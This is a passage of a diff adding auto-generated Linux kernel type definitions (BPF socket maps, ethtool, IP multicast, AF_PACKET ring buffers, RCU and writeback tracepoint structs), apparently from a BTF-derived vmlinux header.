struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_sk_redirect_hash)(struct sk_buff *, struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_msg_redirect_hash)(struct sk_msg *, struct bpf_map *, void *, u64); + +struct sock_hash_seq_info { + struct bpf_map *map; + struct bpf_shtab *htab; + u32 bucket_id; +}; + +struct rss_req_info { + struct ethnl_req_info base; + u32 rss_context; +}; + +struct rss_reply_data { + struct ethnl_reply_data base; + u32 indir_size; + u32 hkey_size; + u32 hfunc; + u32 *indir_table; + u8 *hkey; +}; + +enum { + ETHTOOL_A_MM_STAT_UNSPEC = 0, + ETHTOOL_A_MM_STAT_PAD = 1, + ETHTOOL_A_MM_STAT_REASSEMBLY_ERRORS = 2, + ETHTOOL_A_MM_STAT_SMD_ERRORS = 3, + ETHTOOL_A_MM_STAT_REASSEMBLY_OK = 4, + ETHTOOL_A_MM_STAT_RX_FRAG_COUNT = 5, + ETHTOOL_A_MM_STAT_TX_FRAG_COUNT = 6, + ETHTOOL_A_MM_STAT_HOLD_COUNT = 7, + __ETHTOOL_A_MM_STAT_CNT = 8, + ETHTOOL_A_MM_STAT_MAX = 7, +}; + +struct mm_reply_data { + struct ethnl_reply_data base; + struct ethtool_mm_state state; + struct ethtool_mm_stats stats; +}; + +struct sock_ee_data_rfc4884 { + __u16 len; + __u8 flags; + __u8 reserved; +}; + +struct sock_extended_err { + __u32 ee_errno; + __u8 ee_origin; + __u8 ee_type; + __u8 ee_code; + __u8 ee_pad; + __u32 ee_info; + union { + __u32 ee_data; + struct sock_ee_data_rfc4884 ee_rfc4884; + }; +}; + +struct ip_mreq_source { + __be32 imr_multiaddr; + __be32 imr_interface; + __be32 imr_sourceaddr; +}; + +struct ip_msfilter { + __be32 imsf_multiaddr; + __be32 imsf_interface; + __u32 imsf_fmode; + __u32 imsf_numsrc; + union { + __be32 imsf_slist[1]; + struct { + struct {} __empty_imsf_slist_flex; + __be32 imsf_slist_flex[0]; + }; + }; +}; + +struct group_req { + __u32 gr_interface; + struct __kernel_sockaddr_storage gr_group; +}; + +struct group_source_req { + __u32 gsr_interface; + struct __kernel_sockaddr_storage gsr_group; + struct __kernel_sockaddr_storage gsr_source; +}; + +struct group_filter { + union { + struct { + __u32 gf_interface_aux; + struct __kernel_sockaddr_storage gf_group_aux; + __u32 gf_fmode_aux; + __u32 gf_numsrc_aux; + struct __kernel_sockaddr_storage gf_slist[1]; + }; + struct { + __u32 gf_interface; + struct __kernel_sockaddr_storage gf_group; + __u32 gf_fmode; + __u32 gf_numsrc; + struct __kernel_sockaddr_storage gf_slist_flex[0]; + }; + }; +}; + +struct in_pktinfo { + int ipi_ifindex; + struct in_addr ipi_spec_dst; + struct in_addr ipi_addr; +}; + +struct compat_group_req { + __u32 gr_interface; + struct __kernel_sockaddr_storage gr_group; +} __attribute__((packed)); + +struct compat_group_source_req { + __u32 gsr_interface; + struct __kernel_sockaddr_storage gsr_group; + struct __kernel_sockaddr_storage gsr_source; +} __attribute__((packed)); + +struct compat_group_filter { + union { + struct { + __u32 gf_interface_aux; + struct __kernel_sockaddr_storage gf_group_aux; + __u32 gf_fmode_aux; + __u32 gf_numsrc_aux; + struct __kernel_sockaddr_storage gf_slist[1]; + } __attribute__((packed)); + struct { + __u32 gf_interface; + struct __kernel_sockaddr_storage gf_group; + __u32 gf_fmode; + __u32 gf_numsrc; + struct __kernel_sockaddr_storage gf_slist_flex[0]; + } __attribute__((packed)); + }; +}; + +struct sock_exterr_skb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + struct sock_extended_err ee; + u16 addr_offset; + __be16 port; + u8 opt_stats: 1; + u8 unused: 7; +}; + +enum { + BPFILTER_IPT_SO_SET_REPLACE = 64, + BPFILTER_IPT_SO_SET_ADD_COUNTERS = 65, + BPFILTER_IPT_SET_MAX = 66, +}; + +enum { + BPFILTER_IPT_SO_GET_INFO = 64, + BPFILTER_IPT_SO_GET_ENTRIES = 65, + BPFILTER_IPT_SO_GET_REVISION_MATCH = 66, + BPFILTER_IPT_SO_GET_REVISION_TARGET = 67, + BPFILTER_IPT_GET_MAX = 68, +}; + +struct bpfilter_umh_ops { + struct umd_info info; + struct mutex lock; + int (*sockopt)(struct sock *, int, sockptr_t, unsigned int, bool); + int (*start)(); +}; + +enum { + IFLA_INET_UNSPEC = 0, + IFLA_INET_CONF = 1, + __IFLA_INET_MAX = 2, +}; + +struct in_validator_info { + __be32 ivi_addr; + struct in_device *ivi_dev; + struct netlink_ext_ack *extack; +}; + +struct fib_result { + __be32 prefix; + unsigned char prefixlen; + unsigned char nh_sel; + unsigned char type; + unsigned char scope; + u32 tclassid; + struct fib_nh_common *nhc; + struct fib_info *fi; + struct fib_table *table; + struct hlist_head *fa_head; +}; + +struct inet_fill_args { + u32 portid; + u32 seq; + int event; + unsigned int flags; + int netnsid; + int ifindex; +}; + +struct devinet_sysctl_table { + struct ctl_table_header *sysctl_header; + struct ctl_table devinet_vars[34]; +}; + +enum ip_defrag_users { + IP_DEFRAG_LOCAL_DELIVER = 0, + IP_DEFRAG_CALL_RA_CHAIN = 1, + IP_DEFRAG_CONNTRACK_IN = 2, + __IP_DEFRAG_CONNTRACK_IN_END = 65537, + IP_DEFRAG_CONNTRACK_OUT = 65538, + __IP_DEFRAG_CONNTRACK_OUT_END = 131073, + IP_DEFRAG_CONNTRACK_BRIDGE_IN = 131074, + __IP_DEFRAG_CONNTRACK_BRIDGE_IN = 196609, + IP_DEFRAG_VS_IN = 196610, + IP_DEFRAG_VS_OUT = 196611, + IP_DEFRAG_VS_FWD = 196612, + IP_DEFRAG_AF_PACKET = 196613, + IP_DEFRAG_MACVLAN = 196614, +}; + +struct pingv6_ops { + int (*ipv6_recv_error)(struct sock *, struct msghdr *, int, int *); + void (*ip6_datagram_recv_common_ctl)(struct sock *, struct msghdr *, struct sk_buff *); + void (*ip6_datagram_recv_specific_ctl)(struct sock *, struct msghdr *, struct sk_buff *); + int (*icmpv6_err_convert)(u8, u8, int *); + void (*ipv6_icmp_error)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); + int (*ipv6_chk_addr)(struct net *, const struct in6_addr *, const struct net_device *, int); +}; + +struct ping_iter_state { + struct seq_net_private p; + int bucket; + sa_family_t family; +}; + +struct pingfakehdr { + struct icmphdr icmph; + struct msghdr *msg; + sa_family_t family; + __wsum wcheck; +}; + +struct sockaddr_pkt { + short unsigned int spkt_family; + unsigned char spkt_device[14]; + __be16 spkt_protocol; +}; + +struct sockaddr_ll { + short unsigned int sll_family; + __be16 sll_protocol; + int sll_ifindex; + short unsigned int sll_hatype; + unsigned char sll_pkttype; + unsigned char sll_halen; + unsigned char sll_addr[8]; +}; + +struct tpacket_stats { + unsigned int tp_packets; + unsigned int tp_drops; +}; + +struct tpacket_stats_v3 { + unsigned int tp_packets; + unsigned int tp_drops; + unsigned int tp_freeze_q_cnt; +}; + +struct tpacket_rollover_stats { + __u64 tp_all; + __u64 tp_huge; + __u64 tp_failed; +}; + +union tpacket_stats_u { + struct tpacket_stats stats1; + struct tpacket_stats_v3 stats3; +}; + +struct tpacket_auxdata { + __u32 tp_status; + __u32 tp_len; + __u32 tp_snaplen; + __u16 tp_mac; + __u16 tp_net; + __u16 tp_vlan_tci; + __u16 tp_vlan_tpid; +}; + +struct tpacket_hdr { + long unsigned int tp_status; + unsigned int tp_len; + unsigned int tp_snaplen; + short unsigned int tp_mac; + short unsigned int tp_net; + unsigned int tp_sec; + unsigned int tp_usec; +}; + +struct tpacket2_hdr { + __u32 tp_status; + __u32 tp_len; + __u32 tp_snaplen; + __u16 tp_mac; + __u16 tp_net; + __u32 tp_sec; + __u32 tp_nsec; + __u16 tp_vlan_tci; + __u16 tp_vlan_tpid; + __u8 tp_padding[4]; +}; + +struct tpacket_hdr_variant1 { + __u32 tp_rxhash; + __u32 tp_vlan_tci; + __u16 tp_vlan_tpid; + __u16 tp_padding; +}; + +struct tpacket3_hdr { + __u32 tp_next_offset; + __u32 tp_sec; + __u32 tp_nsec; + __u32 tp_snaplen; + __u32 tp_len; + __u32 tp_status; + __u16 tp_mac; + __u16 tp_net; + union { + struct tpacket_hdr_variant1 hv1; + }; + __u8 tp_padding[8]; +}; + +struct tpacket_bd_ts { + unsigned int ts_sec; + union { + unsigned int ts_usec; + unsigned int ts_nsec; + }; +}; + +struct tpacket_hdr_v1 { + __u32 block_status; + __u32 num_pkts; + __u32 offset_to_first_pkt; + __u32 blk_len; + __u64 seq_num; + struct tpacket_bd_ts ts_first_pkt; + struct tpacket_bd_ts ts_last_pkt; +}; + +union tpacket_bd_header_u { + struct tpacket_hdr_v1 bh1; +}; + +struct tpacket_block_desc { + __u32 version; + __u32 offset_to_priv; + union tpacket_bd_header_u hdr; +}; + +enum tpacket_versions { + TPACKET_V1 = 0, + TPACKET_V2 = 1, + TPACKET_V3 = 2, +}; + +struct tpacket_req { + unsigned int tp_block_size; + unsigned int tp_block_nr; + unsigned int tp_frame_size; + unsigned int tp_frame_nr; +}; + +struct tpacket_req3 { + unsigned int tp_block_size; + unsigned int tp_block_nr; + unsigned int tp_frame_size; + unsigned int tp_frame_nr; + unsigned int tp_retire_blk_tov; + unsigned int tp_sizeof_priv; + unsigned int tp_feature_req_word; +}; + +union tpacket_req_u { + struct tpacket_req req; + struct tpacket_req3 req3; +}; + +struct fanout_args { + __u16 id; + __u16 type_flags; + __u32 max_num_members; +}; + +struct sock_fprog { + short unsigned int len; + struct sock_filter *filter; +}; + +enum nf_dev_hooks { + NF_NETDEV_INGRESS = 0, + NF_NETDEV_EGRESS = 1, + NF_NETDEV_NUMHOOKS = 2, +}; + +struct sock_skb_cb { + u32 dropcount; +}; + +struct packet_mclist { + struct packet_mclist *next; + int ifindex; + int count; + short unsigned int type; + short unsigned int alen; + unsigned char addr[32]; +}; + +struct pgv; + +struct tpacket_kbdq_core { + struct pgv *pkbdq; + unsigned int feature_req_word; + unsigned int hdrlen; + unsigned char reset_pending_on_curr_blk; + unsigned char delete_blk_timer; + short unsigned int kactive_blk_num; + short unsigned int blk_sizeof_priv; + short unsigned int last_kactive_blk_num; + char *pkblk_start; + char *pkblk_end; + int kblk_size; + unsigned int max_frame_len; + unsigned int knum_blocks; + uint64_t knxt_seq_num; + char *prev; + char *nxt_offset; + struct sk_buff *skb; + rwlock_t blk_fill_in_prog_lock; + short unsigned int retire_blk_tov; + short unsigned int version; + long unsigned int tov_in_jiffies; + struct timer_list retire_blk_timer; +}; + +struct pgv { + char *buffer; +}; + +struct packet_ring_buffer { + struct pgv *pg_vec; + unsigned int head; + unsigned int frames_per_block; + unsigned int frame_size; + unsigned int frame_max; + unsigned int pg_vec_order; + unsigned int pg_vec_pages; + unsigned int pg_vec_len; + unsigned int *pending_refcnt; + union { + long unsigned int *rx_owner_map; + struct tpacket_kbdq_core prb_bdqc; + }; +}; + +struct packet_fanout { + possible_net_t net; + unsigned int num_members; + u32 max_num_members; + u16 id; + u8 type; + u8 flags; + union { + atomic_t rr_cur; + struct bpf_prog *bpf_prog; + }; + struct list_head list; + spinlock_t lock; + refcount_t sk_ref; + long: 64; + struct packet_type prot_hook; + struct sock *arr[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct packet_rollover { + int sock; + atomic_long_t num; + atomic_long_t num_huge; + atomic_long_t num_failed; + long: 64; + long: 64; + long: 64; + long: 64; + u32 history[16]; +}; + +struct packet_sock { + struct sock sk; + struct packet_fanout *fanout; + union tpacket_stats_u stats; + struct packet_ring_buffer rx_ring; + struct packet_ring_buffer tx_ring; + int copy_thresh; + spinlock_t bind_lock; + struct mutex pg_vec_lock; + long unsigned int flags; + int ifindex; + u8 vnet_hdr_sz; + __be16 num; + struct packet_rollover *rollover; + struct packet_mclist *mclist; + atomic_t mapped; + enum tpacket_versions tp_version; + unsigned int tp_hdrlen; + unsigned int tp_reserve; + unsigned int tp_tstamp; + struct completion skb_completion; + struct net_device *cached_dev; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct packet_type prot_hook; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + atomic_t tp_drops; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum packet_sock_flags { + PACKET_SOCK_ORIGDEV = 0, + PACKET_SOCK_AUXDATA = 1, + PACKET_SOCK_TX_HAS_OFF = 2, + PACKET_SOCK_TP_LOSS = 3, + PACKET_SOCK_RUNNING = 4, + PACKET_SOCK_PRESSURE = 5, + PACKET_SOCK_QDISC_BYPASS = 6, +}; + +struct packet_mreq_max { + int mr_ifindex; + short unsigned int mr_type; + short unsigned int mr_alen; + unsigned char mr_address[32]; +}; + +union tpacket_uhdr { + struct tpacket_hdr *h1; + struct tpacket2_hdr *h2; + struct tpacket3_hdr *h3; + void *raw; +}; + +struct packet_skb_cb { + union { + struct sockaddr_pkt pkt; + union { + unsigned int origlen; + struct sockaddr_ll ll; + }; + } sa; +}; + +struct timens_offset { + s64 sec; + u64 nsec; +}; + +struct pvclock_vcpu_time_info { + u32 version; + u32 pad0; + u64 tsc_timestamp; + u64 system_time; + u32 tsc_to_system_mul; + s8 tsc_shift; + u8 flags; + u8 pad[2]; +}; + +struct pvclock_vsyscall_time_info { + struct pvclock_vcpu_time_info pvti; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct arch_vdso_data {}; + +struct vdso_timestamp { + u64 sec; + u64 nsec; +}; + +struct vdso_data { + u32 seq; + s32 clock_mode; + u64 cycle_last; + u64 mask; + u32 mult; + u32 shift; + union { + struct vdso_timestamp basetime[12]; + struct timens_offset offset[12]; + }; + s32 tz_minuteswest; + s32 tz_dsttime; + u32 hrtimer_res; + u32 __unused; + struct arch_vdso_data arch_data; +}; + +enum x86_hardware_subarch { + X86_SUBARCH_PC = 0, + X86_SUBARCH_LGUEST = 1, + X86_SUBARCH_XEN = 2, + X86_SUBARCH_INTEL_MID = 3, + X86_SUBARCH_CE4100 = 4, + X86_NR_SUBARCHS = 5, +}; + +struct trace_event_raw_x86_irq_vector { + struct trace_entry ent; + int vector; + char __data[0]; +}; + +struct trace_event_raw_vector_config { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + unsigned int cpu; + unsigned int apicdest; + char __data[0]; +}; + +struct trace_event_raw_vector_mod { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + unsigned int cpu; + unsigned int prev_vector; + unsigned int prev_cpu; + char __data[0]; +}; + +struct trace_event_raw_vector_reserve { + struct trace_entry ent; + unsigned int irq; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_alloc { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + bool reserved; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_alloc_managed { + struct trace_entry ent; + unsigned int irq; + unsigned int vector; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_activate { + struct trace_entry ent; + unsigned int irq; + bool is_managed; + bool can_reserve; + bool reserve; + char __data[0]; +}; + +struct trace_event_raw_vector_teardown { + struct trace_entry ent; + unsigned int irq; + bool is_managed; + bool has_reserved; + char __data[0]; +}; + +struct trace_event_raw_vector_setup { + struct trace_entry ent; + unsigned int irq; + bool is_legacy; + int ret; + char __data[0]; +}; + +struct trace_event_raw_vector_free_moved { + struct trace_entry ent; + unsigned int irq; + unsigned int cpu; + unsigned int vector; + bool is_managed; + char __data[0]; +}; + +struct trace_event_data_offsets_x86_irq_vector {}; + +struct trace_event_data_offsets_vector_config {}; + +struct trace_event_data_offsets_vector_mod {}; + +struct trace_event_data_offsets_vector_reserve {}; + +struct trace_event_data_offsets_vector_alloc {}; + +struct trace_event_data_offsets_vector_alloc_managed {}; + +struct trace_event_data_offsets_vector_activate {}; + +struct trace_event_data_offsets_vector_teardown {}; + +struct trace_event_data_offsets_vector_setup {}; + +struct trace_event_data_offsets_vector_free_moved {}; + +typedef void (*btf_trace_local_timer_entry)(void *, int); + +typedef void (*btf_trace_local_timer_exit)(void *, int); + +typedef void (*btf_trace_spurious_apic_entry)(void *, int); + +typedef void (*btf_trace_spurious_apic_exit)(void *, int); + +typedef void (*btf_trace_error_apic_entry)(void *, int); + +typedef void (*btf_trace_error_apic_exit)(void *, int); + +typedef void (*btf_trace_x86_platform_ipi_entry)(void *, int); + +typedef void (*btf_trace_x86_platform_ipi_exit)(void *, int); + +typedef void (*btf_trace_irq_work_entry)(void *, int); + +typedef void (*btf_trace_irq_work_exit)(void *, int); + +typedef void (*btf_trace_reschedule_entry)(void *, int); + +typedef void (*btf_trace_reschedule_exit)(void *, int); + +typedef void (*btf_trace_call_function_entry)(void *, int); + +typedef void (*btf_trace_call_function_exit)(void *, int); + +typedef void (*btf_trace_call_function_single_entry)(void *, int); + +typedef void (*btf_trace_call_function_single_exit)(void *, int); + +typedef void (*btf_trace_threshold_apic_entry)(void *, int); + +typedef void (*btf_trace_threshold_apic_exit)(void *, int); + +typedef void (*btf_trace_deferred_error_apic_entry)(void *, int); + +typedef void (*btf_trace_deferred_error_apic_exit)(void *, int); + +typedef void (*btf_trace_thermal_apic_entry)(void *, int); + +typedef void (*btf_trace_thermal_apic_exit)(void *, int); + +typedef void (*btf_trace_vector_config)(void *, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_vector_update)(void *, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_vector_clear)(void *, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_vector_reserve_managed)(void *, unsigned int, int); + +typedef void (*btf_trace_vector_reserve)(void *, unsigned int, int); + +typedef void (*btf_trace_vector_alloc)(void *, unsigned int, unsigned int, bool, int); + +typedef void (*btf_trace_vector_alloc_managed)(void *, unsigned int, unsigned int, int); + +typedef void (*btf_trace_vector_activate)(void *, unsigned int, bool, bool, bool); + +typedef void (*btf_trace_vector_deactivate)(void *, unsigned int, bool, bool, bool); + +typedef void (*btf_trace_vector_teardown)(void *, unsigned int, bool, bool); + +typedef void (*btf_trace_vector_setup)(void *, unsigned int, bool, int); + +typedef void (*btf_trace_vector_free_moved)(void *, unsigned int, unsigned int, unsigned int, bool); + +struct system_counterval_t { + u64 cycles; + struct clocksource *cs; +}; + +struct cyc2ns_data { + u32 cyc2ns_mul; + u32 cyc2ns_shift; + u64 cyc2ns_offset; +}; + +struct cyc2ns { + struct cyc2ns_data data[2]; + seqcount_latch_t seq; +}; + +struct wakeup_header { + u16 video_mode; + u32 pmode_entry; + u16 pmode_cs; + u32 pmode_cr0; + u32 pmode_cr3; + u32 pmode_cr4; + u32 pmode_efer_low; + u32 pmode_efer_high; + u64 pmode_gdt; + u32 pmode_misc_en_low; + u32 pmode_misc_en_high; + u32 pmode_behavior; + u32 realmode_flags; + u32 real_magic; + u32 signature; +} __attribute__((packed)); + +struct smpboot_thread_data { + unsigned int cpu; + unsigned int status; + struct smp_hotplug_thread *ht; +}; + +enum { + HP_THREAD_NONE = 0, + HP_THREAD_ACTIVE = 1, + HP_THREAD_PARKED = 2, +}; + +struct mcs_spinlock { + struct mcs_spinlock *next; + int locked; + int count; +}; + +struct qnode { + struct mcs_spinlock mcs; +}; + +enum { + IRQTF_RUNTHREAD = 0, + IRQTF_WARNED = 1, + IRQTF_AFFINITY = 2, + IRQTF_FORCED_THREAD = 3, + IRQTF_READY = 4, +}; + +struct rcu_gp_oldstate { + long unsigned int rgos_norm; + long unsigned int rgos_exp; +}; + +struct rcu_exp_work { + long unsigned int rew_s; + struct work_struct rew_work; +}; + +struct rcu_node { + raw_spinlock_t lock; + long unsigned int gp_seq; + long unsigned int gp_seq_needed; + long unsigned int completedqs; + long unsigned int qsmask; + long unsigned int rcu_gp_init_mask; + long unsigned int qsmaskinit; + long unsigned int qsmaskinitnext; + long unsigned int expmask; + long unsigned int expmaskinit; + long unsigned int expmaskinitnext; + long unsigned int cbovldmask; + long unsigned int ffmask; + long unsigned int grpmask; + int grplo; + int grphi; + u8 grpnum; + u8 level; + bool wait_blkd_tasks; + struct rcu_node *parent; + struct list_head blkd_tasks; + struct list_head *gp_tasks; + struct list_head *exp_tasks; + struct list_head *boost_tasks; + struct rt_mutex boost_mtx; + long unsigned int boost_time; + struct mutex boost_kthread_mutex; + struct task_struct *boost_kthread_task; + unsigned int boost_kthread_status; + long unsigned int n_boosts; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + raw_spinlock_t fqslock; + spinlock_t exp_lock; + long unsigned int exp_seq_rq; + wait_queue_head_t exp_wq[4]; + struct rcu_exp_work rew; + bool exp_need_flush; + raw_spinlock_t exp_poll_lock; + long unsigned int exp_seq_poll_rq; + struct work_struct exp_poll_wq; + long: 64; + long: 64; +}; + +struct sched_param { + int sched_priority; +}; + +union rcu_noqs { + struct { + u8 norm; + u8 exp; + } b; + u16 s; +}; + +struct rcu_snap_record { + long unsigned int gp_seq; + u64 cputime_irq; + u64 cputime_softirq; + u64 cputime_system; + long unsigned int nr_hardirqs; + unsigned int nr_softirqs; + long long unsigned int nr_csw; + long unsigned int jiffies; +}; + +struct rcu_data { + long unsigned int gp_seq; + long unsigned int gp_seq_needed; + union rcu_noqs cpu_no_qs; + bool core_needs_qs; + bool beenonline; + bool gpwrap; + bool cpu_started; + struct rcu_node *mynode; + long unsigned int grpmask; + long unsigned int ticks_this_gp; + struct irq_work defer_qs_iw; + bool defer_qs_iw_pending; + struct work_struct strict_work; + struct rcu_segcblist cblist; + long int qlen_last_fqs_check; + long unsigned int n_cbs_invoked; + long unsigned int n_force_qs_snap; + long int blimit; + int dynticks_snap; + bool rcu_need_heavy_qs; + bool rcu_urgent_qs; + bool rcu_forced_tick; + bool rcu_forced_tick_exp; + long unsigned int barrier_seq_snap; + struct callback_head barrier_head; + int exp_dynticks_snap; + struct task_struct *rcu_cpu_kthread_task; + unsigned int rcu_cpu_kthread_status; + char rcu_cpu_has_work; + long unsigned int rcuc_activity; + unsigned int softirq_snap; + struct irq_work rcu_iw; + bool rcu_iw_pending; + long unsigned int rcu_iw_gp_seq; + long unsigned int rcu_ofl_gp_seq; + short int rcu_ofl_gp_flags; + long unsigned int rcu_onl_gp_seq; + short int rcu_onl_gp_flags; + long unsigned int last_fqs_resched; + long unsigned int last_sched_clock; + struct rcu_snap_record snap_record; + long int lazy_len; + int cpu; +}; + +struct rcu_state { + struct rcu_node node[9]; + struct rcu_node *level[3]; + int ncpus; + int n_online_cpus; + long: 64; + long: 64; + long: 64; + long: 64; + long unsigned int gp_seq; + long unsigned int gp_max; + struct task_struct *gp_kthread; + struct swait_queue_head gp_wq; + short int gp_flags; + short int gp_state; + long unsigned int gp_wake_time; + long unsigned int gp_wake_seq; + long unsigned int gp_seq_polled; + long unsigned int gp_seq_polled_snap; + long unsigned int gp_seq_polled_exp_snap; + struct mutex barrier_mutex; + atomic_t barrier_cpu_count; + struct completion barrier_completion; + long unsigned int barrier_sequence; + raw_spinlock_t barrier_lock; + struct mutex exp_mutex; + struct mutex exp_wake_mutex; + long unsigned int expedited_sequence; + atomic_t expedited_need_qs; + struct swait_queue_head expedited_wq; + int ncpus_snap; + u8 cbovld; + u8 cbovldnext; + long unsigned int jiffies_force_qs; + long unsigned int jiffies_kick_kthreads; + long unsigned int n_force_qs; + long unsigned int gp_start; + long unsigned int gp_end; + long unsigned int gp_activity; + long unsigned int gp_req_activity; + long unsigned int jiffies_stall; + long unsigned int jiffies_resched; + long unsigned int n_force_qs_gpstart; + const char *name; + char abbr; + long: 64; + arch_spinlock_t ofl_lock; + int nocb_is_setup; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum rcutorture_type { + RCU_FLAVOR = 0, + RCU_TASKS_FLAVOR = 1, + RCU_TASKS_RUDE_FLAVOR = 2, + RCU_TASKS_TRACING_FLAVOR = 3, + RCU_TRIVIAL_FLAVOR = 4, + SRCU_FLAVOR = 5, + INVALID_RCU_FLAVOR = 6, +}; + +struct kvfree_rcu_bulk_data { + struct list_head list; + long unsigned int gp_snap; + long unsigned int nr_records; + void *records[0]; +}; + +struct kfree_rcu_cpu; + +struct kfree_rcu_cpu_work { + struct rcu_work rcu_work; + struct callback_head *head_free; + struct list_head bulk_head_free[2]; + struct kfree_rcu_cpu *krcp; +}; + +struct kfree_rcu_cpu { + struct callback_head *head; + long unsigned int head_gp_snap; + atomic_t head_count; + struct list_head bulk_head[2]; + atomic_t bulk_count[2]; + struct kfree_rcu_cpu_work krw_arr[2]; + raw_spinlock_t lock; + struct delayed_work monitor_work; + bool initialized; + struct delayed_work page_cache_work; + atomic_t backoff_page_cache_fill; + atomic_t work_in_progress; + struct hrtimer hrtimer; + struct llist_head bkvcache; + int nr_bkv_objs; +}; + +struct rcu_stall_chk_rdr { + int nesting; + union rcu_special rs; + bool on_blkd_list; +}; + +struct wb_writeback_work { + long int nr_pages; + struct super_block *sb; + enum writeback_sync_modes sync_mode; + unsigned int tagged_writepages: 1; + unsigned int for_kupdate: 1; + unsigned int range_cyclic: 1; + unsigned int for_background: 1; + unsigned int for_sync: 1; + unsigned int auto_free: 1; + enum wb_reason reason; + struct list_head list; + struct wb_completion *done; +}; + +struct trace_event_raw_writeback_folio_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + long unsigned int index; + char __data[0]; +}; + +struct trace_event_raw_writeback_dirty_inode_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + long unsigned int state; + long unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_inode_foreign_history { + struct trace_entry ent; + char name[32]; + ino_t ino; + ino_t cgroup_ino; + unsigned int history; + char __data[0]; +}; + +struct trace_event_raw_inode_switch_wbs { + struct trace_entry ent; + char name[32]; + ino_t ino; + ino_t old_cgroup_ino; + ino_t new_cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_track_foreign_dirty { + struct trace_entry ent; + char name[32]; + u64 bdi_id; + ino_t ino; + unsigned int memcg_id; + ino_t cgroup_ino; + ino_t page_cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_flush_foreign { + struct trace_entry ent; + char name[32]; + ino_t cgroup_ino; + unsigned int frn_bdi_id; + unsigned int frn_memcg_id; + char __data[0]; +}; + +struct trace_event_raw_writeback_write_inode_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + int sync_mode; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_work_class { + struct trace_entry ent; + char name[32]; + long int nr_pages; + dev_t sb_dev; + int sync_mode; + int for_kupdate; + int range_cyclic; + int for_background; + int reason; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_pages_written { + struct trace_entry ent; + long int pages; + char __data[0]; +}; + +struct trace_event_raw_writeback_class { + struct trace_entry ent; + char name[32]; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_bdi_register { + struct trace_entry ent; + char name[32]; + char __data[0]; +}; + +struct trace_event_raw_wbc_class { + struct trace_entry ent; + char name[32]; + long int nr_to_write; + long int pages_skipped; + int sync_mode; + int for_kupdate; + int for_background; + int for_reclaim; + int range_cyclic; + long int range_start; + long int range_end; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_queue_io { + struct trace_entry ent; + char name[32]; + long unsigned int older; + long int age; + int moved; + int reason; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_global_dirty_state { + struct trace_entry ent; + long unsigned int nr_dirty; + long unsigned int nr_writeback; + long unsigned int background_thresh; + long unsigned int dirty_thresh; + long unsigned int dirty_limit; + long unsigned int nr_dirtied; + long unsigned int nr_written; + char __data[0]; +}; + +struct trace_event_raw_bdi_dirty_ratelimit { + struct trace_entry ent; + char bdi[32]; + long unsigned int write_bw; + long unsigned int avg_write_bw; + long unsigned int dirty_rate; + long unsigned int dirty_ratelimit; + long unsigned int task_ratelimit; + long unsigned int balanced_dirty_ratelimit; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_balance_dirty_pages { + struct trace_entry ent; + char bdi[32]; + long unsigned int limit; + long unsigned int setpoint; + long unsigned int dirty; + long unsigned int bdi_setpoint; + long unsigned int bdi_dirty; + long unsigned int dirty_ratelimit; + long unsigned int task_ratelimit; + unsigned int dirtied; + unsigned int dirtied_pause; + long unsigned int paused; + long int pause; + long unsigned int period; + long int think; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_sb_inodes_requeue { + struct trace_entry ent; + char name[32]; + ino_t ino; + long unsigned int state; + long unsigned int dirtied_when; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_single_inode_template { + struct trace_entry ent; + char name[32]; + ino_t ino; + long unsigned int state; + long unsigned int dirtied_when; + long unsigned int writeback_index; + long int nr_to_write; + long unsigned int wrote; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_writeback_inode_template { + struct trace_entry ent; + dev_t dev; + ino_t ino; + long unsigned int state; + __u16 mode; + long unsigned int dirtied_when; + char __data[0]; +}; + +struct trace_event_data_offsets_writeback_folio_template {}; + +struct trace_event_data_offsets_writeback_dirty_inode_template {}; + +struct trace_event_data_offsets_inode_foreign_history {}; + +struct trace_event_data_offsets_inode_switch_wbs {}; + +struct trace_event_data_offsets_track_foreign_dirty {}; + +struct trace_event_data_offsets_flush_foreign {}; + +struct trace_event_data_offsets_writeback_write_inode_template {}; + +struct trace_event_data_offsets_writeback_work_class {}; + +struct trace_event_data_offsets_writeback_pages_written {}; + +struct trace_event_data_offsets_writeback_class {}; + +struct trace_event_data_offsets_writeback_bdi_register {}; + +struct trace_event_data_offsets_wbc_class {}; + +struct trace_event_data_offsets_writeback_queue_io {}; + +struct 